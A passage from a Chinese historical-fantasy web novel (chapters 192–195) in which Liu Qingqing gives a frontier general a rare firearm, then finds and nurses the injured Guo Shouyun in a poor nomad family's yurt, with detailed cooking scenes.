听到消息,喜忧参半,喜的是郭守云已经逃出升天,愁的是,他受了重伤,寒风凛凛之下,不晓得他能不能熬过来。 现在更重要的,金人准备大举进攻,他们要把消息带回去,作好迎战的准备。 这一刻,两人无比庆幸亲自过来,不然线人的消息传不回去,等金人兵临城下他们没有准备贸然对敌,那多仓促。 两人骑马绕开金人营地回城途中,看见一辆雪白的雪橇顶着风雪慢慢行走,两人对视一眼,围了上去。 雪橇是他们为了运粮食才做出来的,尚未流传到金人手中,所以,这人,应该是赵人? 郭志城询问:“前方是何人,到边城清野重地,是何居心?” 黑炭领着雪橇小队一路循着棉花的踪迹而来,刘青青不期旷野中遇见人,强制镇定,右袖中悄悄竖起这世间唯一一把真理,粗声回答:“不许再靠近,我放箭了,在那边站着听我问话!” 说完亮了亮左手上的箭弩盒。 第192章 第192章尽力 郭志城笑了,哟,小子个头较小,口气挺大,好久没看到这么嚣张朝气的小子了。 听口音,是南安府人士,看他身上的袍子,和郭守云一个款式针脚,应该是阿云的同伴。 两人放下戒备,互视一眼,柔声往前走:“小兄弟莫怕,我们是边城的守军,出城办事,金人大军快来了,你快随我们进城躲避,免得落在金人手中,被他们当羊吃了!” 说完,两人继续靠近,打算帮他牵赶着雪橇。 刘青青连声大喝站住,那边当做没听到,她咬咬牙,扣动箭弩上的扳机,精铁打造的小巧箭弩携破竹之势发射出去,重重扎在郭志城的马前,箭身已经深深扎进雪地里,剩下尾翼嗡嗡颤动,释放着剩余的力量。 两人常年侵淫此道,自然看出对面之人力气普通,但把箭弩射出这样的力度,靠的不是手臂的力量,猜测是他袖子上那个盒子设置了机关。 对方显然留了手,不然这只箭矢应该深深扎进他们身体里了。 郭荣跳下马,拔出箭矢,箭头锋利带着倒钩,箭身做工光滑精良,天光下呈现幽暗玄色,散发着冰冷的光,两人对视一眼,原本只是想将人带回边城,救他一命,免得他被金人捉了去,如今,升起一定要将此人带回边城内仔细盘问,倘若能把这些箭矢换给城墙的弓箭手,无疑能有效的克制金人的进攻。 有求于人,郭志城一向放得下身段,他一把扯掉自己脸上贴着的假胡须,再顺手撕掉郭荣的络腮胡,露出里面的棉衣,亮出腰间的虎符,温声解释:“小兄弟莫怕,我是边城主将郭志城,这是我的副将郭荣,你看,我的虎符在此!” 说完,他扯下一块棉衣,将虎符包起来,重重一抛,丢到了刘青青雪橇前面。 刘青青仔细盯着两人的脸庞,确实和阿云送来书信中的画像一致,示意黑炭叼来虎符查验,和温舅舅的官印一个款式,上面有郭志城印几个小篆,连包裹虎符的棉布,就是她亲自组织人手缝制的,放下戒备,示意对方靠进她说话。 郭志城摆出一个自觉最温柔的声音:“你是阿云的同伴吧,我看你打扮和他一样,衣服针脚也一样,应该出自同一位绣娘。” 是啊,两人的衣服是苏氏一针一线亲手缝制的,布料款式一模一样,大小长短上有些许差异。 刘青青依旧拿箭弩对着他们:“是,我来寻郭守云,南城门守军说他被金人抓走了,你们救出他来了么?” 她清凌凌的眼直直的看过来,带着一丝疑惑:人好好的来给你们送粮,怎么会被金人抓走呢。 既然被抓走了,为何不出兵相救? 她什么都没询问,但好似什么都问了。 这一刻,郭志城感觉,面前站着的才是郭守云的家人,来找他们兴师问罪,边城没护好人,尴尬的不吭声。 郭荣咳嗽了一声:“小兄弟,他被抓走是有原因的,后面等他回来和你细说,我们此行出城去金人营地捞他的,不过,他很厉害,已经成功脱身,相信他已经自己回了边城,许是和我们遇岔了!” “我们得到消息,金人仅有三个时辰就要全军进攻,你快跟我们回去,边城一定能护住你的。” 郭荣苦口婆心劝他。 哦,阿云已经从金人手中逃了么?刘青青心下一动,按照阿云的习惯,既已经脱身,肯定会想方设法联络她,现在音讯全无,一定被其它事绊住了脚。 “他受伤了!”刘青青用的是陈述句。她提着的心落回了肚子,但不多。 郭志城惊讶的将视线从他袖子上的盒子移到她脸上,好聪慧敏锐的小子。 郭荣点点头:“抓走的时候,被金人打断一条腿,后面,我们不知道了。” 刘青青嗯了一声:“我不去边城,我要去草原找他,他在等着我。” 她看着郭志城,感觉有些面善,又想不起在哪里见过,已经确定对方就是边城主将,刘青青忍不住提醒:“我去边城的时候,边城城墙上守军因我要进城,起了争执,听说两位副将战略不一,下面的人,不晓得该怎么办,要不,你们快回去看看?” 大战在即,这种争权夺利的事,就不要再出现了。 郭志城吓得冷汗直冒,好家伙,他才出来两天,那些野猴子就要翻天,既然对方不愿意跟随他们进城,也就罢了,指着右手边:“你沿着东边跑远些,绕路口半天后再往北边走,这里是金人必经之路!” 他不舍的看了一眼她袖子上的盒子,打马扭身就走。 两方错身跑了约摸一千步,身后突然传来砰一股巨响,郭荣的马屁股炸成血花,滑飞了出去,郭荣也摔下了马。 郭志城愕然之极,脚尖用力,控马捞起郭荣,两人稳住身行后跳下马,背靠背执刀戒备,愕然后怕的寻找着,不晓得是哪来的攻击。 过了半盏茶功夫,适才那个小子架着雪橇追了上来,离着他们五十步远停了下来:“你们没有觊觎我的袖箭,提醒我避开危险,我很感谢你们。我送你们另外一样武器。” “你的马,我打的!用这个。” 刘青青亮了亮右手中一个还冒着刺鼻烟味的玄色铁管。 “我不是有意射杀你的马,只有这样,你们才晓得它威力。” 两个人震惊的看着她手中小小一直黑色铁管,再低头望望雪地里躺着的面目全非的马匹,鼻尖闻到了相同的硫磺味道,对视了一眼,从对方的眸子里看到了害怕和火热。 天下竟然有如此厉害的机关。 刘青青示意郭志城靠近,低声细致教他使用:“不用的时候要上栓,以防走火,还要防水防潮,免得哑蛋,用的时候,第一部打开栓,第二步,像这样,从这个小洞单眼瞄准对方脑袋,第三步,手指扣动扳机。” 她目光真诚:“这是我真正防身的家伙,若目力好,能距千米射杀敌人,具有无穷的威力,现在送给你了。整个青华园十年来,耗费了无数的金银人力,只做出这一把,还可以发射三次,你谨慎使用!” “你们眼馋的袖箭是制造它时报废了的玄铁打造,也没几盒,大规模为军士装备不现实!” 在两人目瞪口呆的脸庞下,刘青青悄然而去,消失在茫茫风雪中。 郭志城摸了摸还在冒烟的黑管,会烫,黑黝黝的洞口发出渗人的寒光。 世间竟有如此利器,要是多来些,他们两人现在就能把金人打回老巢。 可惜了,这样的宝贝,只有一把,而且,只能打三次。 他按照适才那位小兄弟的教 导,把栓塞扣上,再用油纸包包好藏在怀里。招呼还杵子在天上掉馅饼的惊喜中,发愣的郭荣,两人顾不得心疼,乱刀砍碎成了一滩血肉的坐骑,以免漏了行迹。 血腥味浓郁散发,已经能听到不远处的狼嚎声,两人急忙退避,共乘郭志城马匹回城。 两人行至最近的北城门,在城门下喊话,上头小兵敷衍推阻不肯开门,果然和那个小兄弟说的一样,郭志城火气冲到头顶心,示意郭荣撑着他,他往后退了一百步冲刺加速,踩着郭荣撑到头顶的手心,借力直接跳上两丈的墙头。 他一脚踹翻上头看门的百户:“看清楚了么,老子边城主将郭志城,竟敢把本将拒之门外,谁给你的胆子!” 百户委屈的缩在一边:“将军,副将命令有奸细扮成赵人模样,要等他亲来确认。” 郭志城哼了一声,命人打开城门放郭荣进城,丢下一句话:“金人三个时辰后到,速速准备迎敌!” 百户一愣,惊得连爬带滚去喊人。 郭志城骑马往县衙奔去。 不提郭志城以雷霆手段整顿边城,刘青青也晓得,若遇到金人大军,来个真理它祖宗也没招,按照郭志城指明的方向,避开金人途径之路,绕到了营帐后方。 途中寻了个避风的小枯树林,解开行李,点燃携带的茶水炉子,烧了满满一锅热粥,招呼黑炭和狗狗们喝下去,自己也灌了一碗,温热的瘦肉粥顺着冰冷的食道流到胃里,淀粉分解带来了热量,暖着已经冻僵的脑子,人好像活了过来。 就着炉子的余温,把冻成冰坨的肉块化冻,每只狗狗喂了一块肉,余下的用油纸包包好塞在怀里,收拾妥当,裹着棉被驾驶雪橇重新出发。 天气冷,狗狗们体能消耗非常大,需要经常补充食物。 她紧了紧漏风的棉被,心不住的往下沉,她充分准备,有吃有喝,尚且如此艰难,受伤的阿云,还能坚持吗? 刘青青忍不住招来黑炭,又塞了一块肉片给它:“你多闻闻,一定要尽快找到棉花和阿云!” 黑炭嗷呜一声,摇摇尾巴,吞下肉块,蹦着这里闻闻,跳到那边淘淘,领着雪橇队伍前行。 天气太冷,又下着雪,阿云他们留下的气息会被覆盖,要找到他们真的很难。 刘青青唯一能做的,便是利用茶炉子照顾好黑炭和狗狗们的饮食。 他们这样不分昼夜的寻找,皇天不负有心人,两日后,黑炭在一处雪地上兴奋转圈圈,刘青青连忙用铲子铲开积雪,露出一堆冻硬的粑粑。 粑粑有三段,呈现三角形分散在三点,好吧,这是棉花占地盘的臭毛病,之前打扫的时候有多讨厌,现在看到了便有多开心。 数日的阴霾终于散开了些,找到了棉花的标记,离他们不会太远了。 刘青青抱着黑炭在雪地里滚了两圈,把怀里软和的肉片一只狗狗奖励了两大片,重新上路。 第193章 第193章昏迷 有了线索,黑炭顺着踪迹,终于于一天后,领着雪橇队伍,寻到一个破旧的蒙古包,顶篷和围毡因岁月的书写,裂开了好多缝,又被人仔细的缝补了起来,摇摇欲坠,但又坚强的矗立在风雪中,好似艰难求生的人们。 天窗的土烟囱里冒着缕缕黑烟,给单调的旷野雪地带来了一丝烟火气,如同普通白纸上撒了的淡墨水,瞬间鲜活起来。 刘青青悚然一惊,不期在这里遇到金人,重新褡好袖箭,慢慢靠近:猫着身子轻手轻脚靠近蒙古包,绕到侧面顺着小窗的缝隙往里瞧。 映入眼帘的就是正中的火炉,里头燃烧着一饼饼黑色的燃料,闪烁红色的火光明明灭灭,为蒙古包里头带来了丝丝暖意。 刘青青视线一转,顺着发黑的木条拼接的地板,看到了对面小床上盖着破毡昏睡的人,正是她辛辛苦苦寻找的郭守云,半月不见,原本正常的脸已经小了一圈,下巴尖得能戳人,皮肤泛着不正常嫣红,好似在发热,眉头紧紧皱着,不晓得受了多少苦,他露出的右腿被一些树枝紧紧的帮着,用一条打了几个结的牛皮绳掉在顶端的乌尼上。 床边一个四五岁的女孩,大大的脑袋安在瘦薄的身体上,干枯发黄的头发齐齐的扎了两个辫子,坐在一边的小杌子,不时用手探探他的脑袋,然后从盆里拎起灰色的帕子,扭一扭水放在他头上。 一只灰白色的母羊拴在门口,低头优哉游哉的嚼着草根,不时抬头咩一声。 扫视一圈,这小小的蒙古包里再没有第三个活物,连形影不离的棉花也不见踪影。 这个蒙古包里显然还住了成人,是他们救了郭守云,应该没有恶意吧。 刘青青从不以最大的恶意揣测别人,示意黑炭在外面放哨,准备好袖箭后,直接一脚踹开小木门。三两步跨到床边,扯着还在懵逼中女孩的手臂恶狠狠的审问:“你们家大人有几个,去哪里了?” 女孩吓了一跳,手中的帕子扔了,瘪了嘴要喊,还未出声,嘴巴里就被塞了一个东西,舌头立马传来了甜滋滋的愉悦味道,哭喊声半途化作了口水,连着那丝甜,吸溜咽回去,下了肚,也不喊了,眼巴巴的盯着面前侵风润雪的人,老实回答:“还有姆妈,她去外面寻草根和牛粪了!” 姆妈便是祖母的意思。 刘青青眉眼一动,一老一小独立生活在这里,不太现实,这女孩撒谎。 她手里捏着被小孩尝过一口味道的乳白色麦芽糖,在女孩面前晃了晃,恶狠狠道:“诺,甜吧,你爹娘呢?老实回答就给你糖吃!” 女孩鼻尖嗅了嗅,那块叫糖的东西,散发出醉人的甜香,眼睛随着刘青青挥动的手左右转动,不自觉吞了口唾沫:“下了很大很大的雪,我的小羊羔死了,小黑也死了,大人们愁眉不展,首领阿尔法叔叔召集阿爹,和很多族里的伯伯一起走了,说等雪化了的时候就回来,会给我和姆妈带回很多香香的饼,还有美味的糖。” 她回味着刚才嘴里愉悦的味道,把知道的尽量说清楚,希望面前这个小哥哥能把糖送给她。 “有一天,我跟着姆妈去找草根,回来的时候,阿娘也不见了,家也不见了,姆妈说阿娘和我们躲猫猫玩儿,她带着我寻宝,从这里挖出一块毡子,那边寻到一块木板,搭了新家,你看,我厉害吧?” 小女孩指了指脚下长短不一,颜色新旧各异的木板,亮晶晶的眼睛里满是自豪。 刘青青为自己的鲁莽懊悔,把手中的麦芽糖放到了她手心:“我叫青青,你叫什么?” 小女孩被风霜冻得皲裂的脸颊红彤彤的,接过麦芽糖,咬下一小块,满足的眯着眼睛。 剩下的大块紧紧握在手心中,“青青哥哥,我是塔娜,我姆妈叫乌兰,我可以把这块大的糖留给我乌兰姆妈吗?姆妈带着我吃草根,草根味道淡极了,一点也不好吃,她也一定喜欢吃这个糖。” 她掰着手指头数:“昨天的昨天的昨天,姆妈带回了这个哥哥,我还喝了他的羊羔下的奶,很香很浓,我用勺子喂他喝草根汤,喂他很浓很香的羊羔奶,他都不张嘴,姆妈说他生病了,可以给他尝一尝糖么?” 有了糖的小女孩叭叭叭的说个不停,还没审问,刘青青已经弄清楚了大概。 部落聚集而居,今年天气异常寒冷,冻死了很多牲口,部落的首领召集青壮去赵人那边打草谷,若她不是被打草谷的赵人,她都要说为了生存理应如此。 青壮走了,留了微末粮食,剩下老幼妇弱在族群,可怜的部落又被其他族部乘虚而入,抢走了部落里的女人和余食,乌兰因带着塔娜外出捡牛粪逃出一劫。 冬日寒冷漫长,没有粮食的一老一小,靠着从被毁坏了的蒙古包捡破烂,再挖点草根度日。 也是可怜人。 难怪这蒙古包看着如此敷衍。 刘青青捡个破了口子的陶罐打发塔娜去挤羊奶,腾出手,仔细检查郭守云的伤势,只有腿伤,而且被人正 了骨后重新包扎,看不出来,乌兰姆妈竟然有此手艺。但断口处有着明显的肿胀。 郭守云一直发热昏迷不醒,想来是伤口处造成了感染,又疼痛难忍,引发身体的免疫机制。 刘青青舒了口气,幸好,行李里准备了药物。 她走到外面,招呼雪橇边的黑炭过来,把行李全都搬进了蒙古包,这里才被抢过一次,短时日内应该很安全,阿云那样,肯定是不能移动的,先在此地修养几日,等他好转一些再说。 这些日子,狗狗们跟着她风吹雪冻的,刘青青心疼得紧,八只狗狗和黑炭全部唤进包里,至少能暖和些。 塔娜眼睁睁看着刘青青蚂蚁搬家一般,将空旷的蒙古包瞬间填得满满当当,呆呆的和多出来的八只狗狗和黑黝黝的大狼瞪眼睛。 大狼看到她,捉弄人般把眼瞪得更大,好似比赛一般。 刘青青解释:“这人是我哥哥阿云,我专门来寻他的,多谢你们收留他,我们在这里打扰几日!” 说完自顾的忙了起来,首先炉子里加了几块黑炭进去,不一会,里头烧得通红,蒙古包内的也变得暖和了一些。 然后在烧旺的炉子口架上带来的大肚窄口铁锅,外面捡着干净的雪装了一盆进去,等雪化了,冷水放入一碗饱满晶莹的米粒,撒一把干牛肉粒,等它慢慢熬煮。 一路上使用的茶炉也搬了进来,从一大包各种药材中挑出柴胡,放入温水熬煮,在等待的间隙里,刘青青从一包包分门别类的药纸包中,捡出一包粉末,这是从关内名医那求来的,专门治疗断骨,有止痛消炎帮助骨头愈合之效。 又寻摸到一水囊烧酒,倒了一些在碗里,架在火炉边烤沸后,倒入粉末,调制成糊状,然后小心翼翼解开郭守云腿上的木棍,把糊状均匀的抹在断骨的皮肤上,用纱布过好,重新包扎起来。 上完药后,刘青青把药碗藏在了行李深处,这个药三天一换,里头有附子,剧毒,莫要狗狗们嘴馋偷了去。 待重新绑扎好木棍,茶炉子上小陶罐里的柴胡汤也好了,刘青青倒在碗里,换了一只小铁锅,装一锅积雪,熬煮一块块冻成冰块的肉块,这些是给狗狗们准备的。 刘青青端着药,吹凉了些,舀了一勺喂给郭守云,可惜,昏迷的郭守云没有意识,黑色的药汁顺着他的唇角流到了细长的脖颈里。 她眼疾手快拿帕子擦干净泼洒的药汁,摸了摸他发烫的额头,眉头扭成个川字。 这样的高烧,不喝药降不下来啊,莫要烧成了傻子。 她搜寻一圈,没找到麦杆,扭头瞅一眼那边流着口水紧紧盯着铁锅的塔娜,转过身,灌了一大口药汁闷到嘴里,掰开郭守云的嘴巴,俯身度了进去。 这次成了,药汁被他全部喝了进去。 如此度了三次,堪堪把一碗药度完,第三次的时候,好似碰到了他的舌尖,软软的凉凉的,刘青青羞得退了一步,细看榻上的人,仍旧昏迷不醒。 心虚的拍了拍胸口,做贼一般扭头去看塔娜和狗狗们。 塔娜搬了个小杌子杵着下巴坐在炉子边,陶醉的闻着锅里散发出来的米肉香。母山羊瑟瑟发抖紧紧挤在塔娜身边,嚼两口干草,再担忧的看着黑炭等狗,忧郁可怜的咩一声,生怕成了这些怪物的盘中餐。 狗狗们聚在茶炉边,流着哈喇子盯着茶炉上小铁锅内翻滚的肉块。 黑炭前爪站立,后腿坐着,仰着个大脑袋,鬼精鬼精的看着她,歪了歪脑袋,迎着她的视线,大舌头顺着在嘴边转了一圈,尾巴摇得风火轮一般! 总感觉它在内涵她。 刘青青恼羞成怒,嗔了它一眼,扭身钻出矮门去外面用积雪洗碗。 外头的风雪让她发热的脑子凉了些许,摸了摸自己发烫的脸颊,羞死了羞死了,她竟然亲他了呢。 虽说是为了喂药,但是,但是,他的唇好软好软,好凉好凉,舌头好滑好滑,咦,不能再想下去了。 刘青青摇摇脑袋,将那点暧昧晃走。偷摸摸四处看了一眼,没关系,没人知道就是没发生过。狠狠吸了几口冷气,钻回了蒙古包里。 锅里的肉粥已经熬得化了呢,她撒上些盐巴,添一碗给塔娜,怕她烫到,规定她每数到五十才可以喝一勺子,又添了一碗晾着,然后摆出狗狗们的铁餐盘,一狗发一块烫乎乎的没放盐的拳头大小的肉块。 终于能好好吃顿热乎饭了! 蒙古包里温馨安逸,捡草根回来的乌兰远远闻到飘散的肉香,惊得丢了篮子,一面哭一面跑:“我可怜的小塔娜!” 第194章 第194章胡乳达 乌兰滚下马,跌跌撞撞跑到蒙古包,没注意棉花早她一步跳进了门,亲昵的扑到刘青青的怀里,绕着黑炭转圈圈,表示重逢的欢喜。 小塔娜乖巧的坐在一边,小手举着勺子,嘴巴呼呼的吹着冒着热气的肉粥,间或数着一二三……,等半响才把勺子抿到嘴巴里,享受的眯着眼,浑身毛孔都冒着满足,看到她进门,露出一个大大的笑:“姆妈,你回来了,快来喝肉粥!” 乌兰滚满肚子的担心和泪水,僵在脸庞,换成了惊诧,家里多了陌生人,她以为家闯进了坏人,小塔娜遭遇了不测,草原上的人饿极了,什么都吃的,野外的狼狐、草根,其他部族的牲口,甚至孩子…… 亲眼看到她人生唯一的亮光,安然无恙,她撕裂的心再次回归了平静。 她打量着炉子边忙碌的人影,小小的瓜子脸,眉眼清亮有神,戒备着挤出一丝友好:“你是谁,来我家做什么?” 询问的间隙,她已经发现变了模样的家,门口多了埋头苦吃的大狼狗,带她寻草根的银白色狼狗也加入了大口吃肉的队伍,里头空地上多了一堆鼓鼓囊囊的麻袋,将家里变得拥挤热闹,天哪,炉子里翻滚的是什么,是首领老爷才吃得起的白色米粒。 她忍不住咽了口唾沫,扭过头不看香气扑鼻的铁锅,补充了一句:“我家没什么可以给你的了!” 她漫长而苦难的人生中,长青天给了你什么,必然会拿走些你更在意的东西。她夺过小塔娜的碗推向刘青青,紧紧的搂着女孩。 刘青青看着这个满是风雪雕琢痕迹的妇人,她身体上盖满毛色混杂的羊皮褂子,臃肿而苍老,怯懦的看着她,言语了都是对她的担忧和防备。 刘青青指了指小床上的郭守云,尽量温声解释:“你救了他,还帮他正了骨,这便是感谢!” 她把那碗粥塞回小塔娜的手里,示意她继续,又自盛一碗,优哉游哉的喝了起来。 塔娜看看对面的刘青青,再看看抱着自己不撒手的姆妈,她一个指头一个指头掰开姆妈的手指,从兜里掏出了那块甜到心坎里的麦芽糖,塞到了姆妈的嘴里,笑眯眯道:“姆妈,这个哥哥给的糖,甜吧?” 麦芽的清甜在她唇齿件蔓开,顺着中枢神经,让人愉快起来,她回答:“真甜!” 有了小塔娜的自来熟的插话,互相防备的两人放下了些戒备,刘青青也知道了乌兰苦难的一生。 乌兰跟随爷娘生活在一个千人小部族,那年草原冬天特备的冷,也像今年一样,滴水成冰,卡卡部侵打了他们部落,年轻的男女和物资,都被带回了卡卡部落,年老的人和孩子们扔在部落废墟上任由他们自生自灭。 没有保暖的毡包,没有果腹的食物,那些被扔下的老幼结局可想而知。 年轻的女人被抢到了塔塔部分配给塔塔部落里的单身男人,男子发配作干苦活的奴隶,干活卖力表现好的奴隶奖励成为牧民,可以拥有自己的羊羔。 那年她就这样,和父母分离,来到了卡卡部落,很快,她便生下了三个儿子,每日除了喂养孩子,还要照看拥有的牲口,放牧、打水,挤奶,剪毛,一睁眼便是劳作,繁重的活计让她没有功夫去追悼分离的父母,也退去了她青春的靓丽,只剩下麻木。 无论她愿不愿意,打她的丈夫,给她带烤肉的大儿子,喂她吃糖的二儿子,在侵打其他部族的过程中,再也没有回来,剩下三儿子娶了一同长大的姑娘,生下了小塔娜,可惜,三儿子也被首领召去打赵人,卡卡部族没了青壮年的守护,被其他部族乘虚而入,三媳妇被其他部族的人带走了,就好像当年的她一样。 岁月是个轮回,她领着小塔娜,如同多年前父母那样,在片冰冷的雪地上,艰难的活了下来。 她的脸上没有对命运不公的愤恨,没有委屈,有的只是平静,不对,是麻木,是死寂。 这样的人生在草原上习以为常,只要哪一年气候过于寒冷,冻死里的牲口过多,他们就面临的这样的问题。 一直对做出侵略之行的金人厌恶至极的刘青青沉默了。 她一直以为,这个族群是恃强凌弱的,是贪得无厌的,是暴虐残忍的。 其实,生活在这样恶劣环境下,大部分金人百姓只想好好的活下去,到底谁对谁错,在生死面前,哪里分得清楚? 她安慰乌兰: “你放心,战争很快会过去,我们都会好好的活下去。” 刘青青转了话题,郑重的道谢:“你不仅救了阿云,还帮他正了骨,谢谢你!” “你很厉害,正骨正的非常好,不如跟我回赵国吧,我帮你开家医馆,照你的手艺,肯定能声名远播!” 乌兰有些手足无措,她常年弯下的腰微微的立起来,带着点不确定,解释:“您说笑了,我哪里会正骨,草原上牲口到处乱跑,时常有腿受伤的,我这样掰一下,再捆上树枝,养些日子,它们便能动能跑了,不然死了一只牲口,我要被打的。 我去挖草根,看到您兄长趴在马背上,耷拉的腿和我曾经养过断腿的小牛差不多,也弄了一样的法子,不晓得有效没效。” 刘青青恍然,原来是用牲口练的手。看着打算喂郭守云喝的肉粥,她顺嘴询问:“他昏迷不醒,你有什么办法让他吃些东西?” 十几双眼睛盯着,她实在拉不下脸嘴对嘴喂粥。 乌兰点头,低头在篮子里扒拉,寻出一截小小木棍:“用小木棍撬开他的牙关,再小勺小勺的喂进去。” “我们部族里没有米粥,我们是煮些奶茶让受伤的牲口喝,对骨头恢复很有帮助的。”乌兰照顾受伤的牲口很有一套。 刘青青眼前一亮,天天喝肉粥,她是真的烦,因为出门急促,只带了少许调料,油也没带,现在平稳下来,想弄点其他吃的也弄不出来,听她一说,拉着乌兰走到麻袋前,揭开麻袋口的绳子,指着米面:“我这里只有这些,你看着会做什么,尽管做出来,我们一起吃,就当是你收留我们的酬劳。” 乌兰轻轻抚过米袋,任由一粒粒晶莹的大米从指间穿梭,紧张得不会呼吸,这便是部族首领才吃得起的珍珠米,还有散发着麦香的微微发黄的面粉,放一块能烧一天的黑黝黝煤炭,黑红色的茶砖,软乎乎的厚被子,洗干净冻成冰坨的肉块……” 这些,全是部族首领家才用得起的珍贵物件,这个小兄弟知不知道,若是被其他部族的人知道了他这几个麻袋的东西,能引起一场部族之间的战争。 她满足的摸着这些珍贵的粮食和物件,心里都是对赵国的向往,一直听说,那里的百姓住在温暖的屋子里,烤着火儿吃着瓜子儿,难熬的冬日对他们确实悠闲的时光,原来是真的。 这一刻,乌兰决定跟着刘青青,有心使出全部的本领手段。即便刘青青不要她,嫌弃她累赘,也希望能带走塔娜。 她的称呼也从小兄弟,变成了尊称:“大人,这么多食材能做很多了,您烤着火,等着尝尝我做的胡乳达还有焖面。” 乌拉翻了一个小陶罐,洗干净走到母羊跟前,拖过一个小木桩凳子坐着,一边和她闲话一面挤奶,她手法很熟练,母羊乖乖的嚼着草根,一点也反抗,乌拉解释:“生产的母羊会下奶,不挤掉的话,它会撑的疼,若太严重,会生病的。” 她的手轻轻握在一起,示意给刘青青看:“诺,像这样,很容易得,你要试一试么?” 对突然热热络起来的乌兰,刘青青表示,并不是很想学挤奶,扭过身撬开郭守云的牙关,一小勺一小勺的喂他喝肉粥。 许是之前喂的柴胡起了作用,郭守云的的脸恢复了平时的肤色,不再发红,喉咙也会无意识的吞咽肉粥。 刘青青手忙脚乱喂好肉粥,乌兰挤完了羊奶,架在炉火上,不一会,雪白浓稠的羊奶冒了热气,翻出小小的气泡,乌兰端下锅,冷却约摸一炷香后,倒入一小酒杯白醋,拿个勺子不停搅动。 在搅动的过程中,醋和羊奶充分接触,瞬间分离出凝乳和乳清。 乌兰又寻来一块起毛边的纱布,洗干净后把乳清分离的羊乳倒在纱布上,使劲挤压水粉,不停地搓揉,直到凝乳有拉丝的现象。 然后把凝乳倒入一个盒子中,上头压实放在外面雪地里冷却半盏茶的时间。 趁着凝乳定型的功夫,乌兰重新架起铁锅,敲碎一小块茶砖放入锅,大火熬煮到茶汤变成酱油色,散发这浓郁的茶香,滤掉茶叶渣,倒入剩下的一半羊奶,文火慢慢熬煮,直至茶汤和羊奶充分的融合,再撒一点盐巴调味,使奶茶味道更加浓郁,然后盛入碗中。 这么一会,外头的奶豆腐已经冷却,乌兰端了进来,切成小小的薄片后放在炉子上翻烤,直到表皮变成淡淡的金黄色装在盘子里。 乌兰端起缺了一个腿的桌子放在炉边,请青青入座,刘青青推迟不过,拉过乌兰和塔娜坐在另外一边,三人开始了平静的下午茶时光。 一人一碗米色的咸奶茶,有着细腻浓稠的质感,表面飘零的些许油脂那是羊奶中的脂肪成分,散发着诱人的光泽。 刘青青学着乌兰的样子,捡起一块焦黄的奶豆腐放在奶茶中浸泡,入口感受到醇厚的奶香,随后便是淡淡的茶香和咸味,三者互补交融,让味蕾体会到一种丰富而独特的滋味,奶茶顺着喉咙滑入食道,嘴巴里依旧回味悠长。 烤得焦黄的奶豆腐吸收了咸奶茶,外焦里嫩,入口满是奶香,又充满汁水,极为香醇。 第195章 第195章手把肉 刘青青眉眼舒展,这样醇香滑润的奶液,让人愉悦至极,比在赵境内喝过的任何一次山羊奶浓郁,不愧是在广阔草地上撒欢长大的羊羔。 她由衷的希望郭将军能大胜金人,将这广阔的地界纳入赵国的版图,互通有无,草原金人百姓吃上赵人种植的稻米蔬菜,赵人也能喝到金人的浓郁奶茶汤。 喝完下午茶,乌兰重新穿戴好重重叠叠的破羊皮袄子,再次出门去挖草根,每日从野外带回一篮子草根,仰或干燥可以作燃料的马粪,能使她心里得到安宁,刘青青劝她在毡包里保暖,行李里有足够的多的粮食,够她们吃上一阵子了,乌兰摇了摇头,老天爷偏爱勤劳的百姓,只有不停劳作的牧民,才能在这片土地上长长久久的活下去。 刘青青尊重她人的习滚,唤棉花跟去照料一二。 塔娜被乌兰教导得很好,眼里有活,一会给炉子添马粪,一会听到母羊咩咩的叫唤,取了个陶罐也开始轻手轻脚的挤奶,很有几分乌兰从容不迫的样子。 刘青青自然没闲着,她视线落回了昏迷的郭守云身上,他面色恢复了正常,不再发热,许是喝了肉粥的缘故,面色看着不再那么苍白,有了一点点气血。 刘青青也考虑到一个很严重的问题,意识不清的人,能自主排便么? 她摸到郭守小床边,做贼一般凑近洗了洗鼻子,嗯,除了一股汗酸,没有其他奇怪的味道。她先是松了口气,而后心又提了起来。 记得末世疗养仓的重伤之人,需要静脉输送营养液,还需要定时给病人按摩腹部,促进肠胃蠕动消化,然后用吸便器为病人排便。 所以,除了给他喂东西,她要给郭守云擦一擦身体,然后再按摩腹部? 天气这样冷,擦洗很容易受寒,刘青青折中了一下,要不擦擦脸和手就可以了? 她端来一盆温热的水,揭开郭守云身上的被子,最刺眼的便是他脖颈上耷拉着的铁项圈,因行李里没有合适的工具,这个铁锁她也弄不掉,一直还在他脖颈中挂着,只有等回到关内请铁匠毁了去。 上头长长的链子拖到地上,另一端的木桩许是被乌兰放进炉子里烧掉,上面还沾了许多黑色的烟灰。 弄不走铁链,至少让他舒服些,刘青青寻了两条毛巾,裹在项圈上,隔绝了铁项圈的冰凉。 脖颈上有好几个地方被铁项圈磨破皮,已经轻微的结痂,刘青青用烧酒轻轻擦拭干净。 他的手上有好多污渍,指甲里满是黑泥,掌心处还有些木刺,不晓得他受了多少苦,刘青青心口酸疼,在旁边点了亮亮的蜡烛,用从乌兰那借来的缝衣针,一颗颗把木刺挑了出来,然 后把他指甲一个个修理整齐,再把手浸在热水中,清洗干净。 还有他的脸,上头青一块黑一块,耳朵上还有冻伤,泛着不一样的嫣红,幸好在昏迷,不曾感觉到痒痛,她轻手轻脚擦拭干净,帮着抹上冻伤药。 收拾干净好露在外面的肌肤,刘青青没碰郭守云衣裳里头的部分,在她擦拭脖颈的时候,发现他大大的喉结,让她意识到,阿云是个成年的男子了,她应该避嫌。 在她忙碌的时候,乌兰也回来了,得了她的同意,挑了些食材开始做晚食。 乌兰捡了一块羊排骨肉,带骨切成拳头大小的块状,在冷水中浸泡一刻钟,用瓢舀水清洗干净。 羊肉与冷水同时入锅,添了满满一锅的冷水,她一边做,一面细声教导身边的塔娜:“这一步一定记住了,水要一次添够,直到把羊肉完全淹没,后面再加水,味道会变淡,二要用冷水,最好是清澈的溪水,热水让羊肉肉质紧缩,失去弹韧。” 在等待熬煮的过程,她从刘青青带来的麻袋中,抓出一把干豆角,倒入些温水泡发,然后从带回来的篮子里,一样一样的指导小塔娜,哪些能吃,哪些喂羊。挑出能吃的野姜,野蒜,野葱根清洗干净。 这时,锅里的水沸腾,飘起一些浮沫,她亲握着塔娜的小手,用个木勺子一点一点的打掉:“这些浮沫是血水,有腥味的,一定要打掉,才能保证汤色清澈。” 约摸炖煮了一个时辰,她用筷子插了插,能轻易的完全对穿过肉块,才加入盐巴,又炖煮了一盏茶功夫,才起锅,用个木盘装着,端到了桌岸上。 之前塔娜挤在罐子里的羊奶,在温暖的毡包内经过发酵,已经分离出乳脂来。 